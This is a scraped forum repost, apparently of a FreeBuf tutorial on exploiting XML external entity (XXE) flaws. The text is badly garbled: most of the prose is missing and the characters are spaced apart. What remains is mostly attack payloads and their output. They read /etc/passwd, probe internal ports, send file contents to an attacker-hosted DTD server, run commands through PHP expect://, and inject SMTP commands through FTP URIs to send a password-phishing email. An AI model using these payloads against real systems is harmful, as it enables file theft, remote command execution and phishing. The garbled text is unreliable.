[12996] 2018-07-29_XXE漏洞利用技巧:从XML到远程代码执行

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2018-07-29_XXE漏洞利用技巧:从XML到远程代码执行 X X E X M L s e c i s t   F r e e B u f   2 0 1 8 - 0 7 - 2 9 W e b X X E   X M L P O S T S A M L R S S X X E X X E w e b X X E X X E X X E X M L 使 P H P l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r T R U E p a y l o a d X M L 访 X X E X M L P O S T P O S T   / v u l n e r a b l e   H T T P / 1 . 1 H o s t :   w w w . t e s t . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 7 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 7 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 R e f e r e r :   h t t p s : / / t e s t . c o m / t e s t . h t m l C o n t e n t - T y p e :   a p p l i c a t i o n / x m l C o n t e n t - L e n g t h :   2 9 4 C o o k i e :   m y c o o k i e = c o o k i e s ; C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 < ? x m l   v e r s i o n = " 1 . 0 " ? > < c a t a l o g >
      < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > X M L   i s   t h e   b e s t ! < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > X M L { " R e q u e s t   S u c c e s s f u l " :   " A d d e d ! " } X M L p a y l o a d < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [ < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > { " e r r o r " :   " n o   r e s u l t s   f o r   d e s c r i p t i o n   r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h d a e m o n : x : 1 : 1 : d a e m o n : / u s r / s b i n : / b i n / s h b i n : x : 2 : 2 : b i n : / b i n : / b i n / s h s y s : x : 3 : 3 : s y s : / d e v : / b i n / s h s y n c : x : 4 : 6 5 5 3 4 : s y n c : / b i n : / b i n / s y n c . . . B l i n d   O O B   X X E B l i n d   O O B   X X E / e t c / p a s s w d X X E 便 X X E 使 B l i n d   X X E ( O O B ) 使 1   -   U R I / e t c / p a s s w d 使 h t t p   U R I G E T X X E S S R F 8 0 8 0 / < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [ < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 "   > ] >
< c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 2   -   D T D D T D O O B   X X E . d t d V P S 使 < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / A T T A C K E R S E R V E R . c o m / x x e _ f i l e . d t d " > < c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > p a y l o a d D T D < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   a l l   " < ! E N T I T Y   x x e   S Y S T E M   ' h t t p : / / A T T A C K E S E R V E R . c o m / ? % f i l e ; ' > " > % a l l ; / e t c / p a s s w d V P S O O B   X X E h t t p : / / A T T A C K E R S E R V E R . c o m / ? d a e m o n % 3 A x % 3 A 1 % 3 A 1 % 3 A d a e m o n % 3 A % 2 F u s r % 2 F s b i n % 3 A % 2 F b i n % 2 F s h % 0 A b i n % 3 A x % 3 A 2 % 3 A 2 % 3 A b i n % 3 A % 2 F b i n % 3 A % 2 F b i n % 2 F s h 3   -   X X E / P H P   e x p e c t X M L < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   x x e   S Y S T E M   " e x p e c t : / / i d "   > ] >
< c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > { " e r r o r " :   " n o   r e s u l t s   f o r   d e s c r i p t i o n   u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) . . . 4   -   使 J a v a X M L 2 5 S M T P J a v a s u n . n e t . f t p . i m p l . F t p C l i e n t f t p   U R I f t p : / / u s e r : p a s s w o r d @ h o s t : p o r t / t e s t . t x t F T P U S E R % 0 D % 0 A   ( C R L F ) U R L u s e r U S E R F T P 2 5 S M T P f t p : / / a % 0 D % 0 A E H L O % 2 0 a % 0 D % 0 A M A I L % 2 0 F R O M % 3 A % 3 C s u p p o r t % 4 0 V U L N E R A B L E S Y S T E M . c o m % 3 E % 0 D % 0 A R C P T % 2 0 T O % 3 A % 3 C v i c t i m % 4 0 g m a i l . c o m % 3 E % 0 D % 0 A D A T A % 0 D % 0 A F r o m % 3 A % 2 0 s u p p o r t % 4 0 V U L N E R A B L E S Y S T E M . c o m % 0 A T o % 3 A % 2 0 v i c t i m % 4 0 g m a i l . c o m % 0 A S u b j e c t % 3 A % 2 0 t e s t % 0 A % 0 A t e s t ! % 0 A % 0 D % 0 A . % 0 D % 0 A Q U I T % 0 D % 0 A : a @ V U L N E R A B L E S Y S T E M . c o m : 2 5 F T P 使 U R L V U L N E R A B L E S Y S T E M . c o m f t p : / / a E H L O   a M A I L   F R O M :   < s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m > R C P T   T O :   < v i c t i m @ g m a i l . c o m > D A T A F r o m :   s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m T o :   v i c t i m @ g m a i l . c o m S u b j e c t :   R e s e t   y o u r   p a s s w o r d
W e   n e e d   t o   c o n f i r m   y o u r   i d e n t i t y .   C o n f i r m   y o u r   p a s s w o r d   h e r e :   h t t p : / / P H I S H I N G _ U R L . c o m . Q U I T : s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m : 2 5 w e b X X E 使 B u r p S u i t e B u r p S u i t e X X E b u r p I n t r u d e r H T T P R e q u e s t B i n     H o o k B i n   O O B   X X E B u r p S u i t e   P r o C o l l a b o r a t o r 使 V P S X M L D T D ( d o c u m e n t   t y p e   d e f i n i t i o n ) S Y S T E M X M L X X E X M L 使 D T D X M L D T D 1 . h t t p s : / / b l o g . z s e c . u k / b l i n d - x x e - l e a r n i n g / 2 . h t t p s : / / w w w . a c u n e t i x . c o m / b l o g / a r t i c l e s / x m l - e x t e r n a l - e n t i t y - x x e - l i m i t a t i o n s / 3 . h t t p s : / / d e p t h s e c u r i t y . c o m / b l o g / e x p l o i t a t i o n - x m l - e x t e r n a l - e n t i t y - x x e - i n j e c t i o n 4 . h t t p s : / / m i k e k n o o p . c o m / l x m l - x x e - e x p l o i t / X X E   C h e a t s h e e t X X E   C h e a t s h e e t 1 . h t t p s : / / g i t h u b . c o m / s w i s s k y r e p o / P a y l o a d s A l l T h e T h i n g s / t r e e / m a s t e r / X X E % 2 0 i n j e c t i o n s 2 . h t t p s : / / w w w . g r a c e f u l s e c u r i t y . c o m / x x e - c h e a t s h e e t / 3 . h t t p s : / / g i s t . g i t h u b . c o m / a b d i l a h r f / 6 3 e a 0 a 2 1 d c 3 1 0 1 0 c 9 c 8 6 2 0 4 2 5 e 2 1 2 e 3 0 * g a r d i e n v i r t u e l F B   s e c i s t   F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则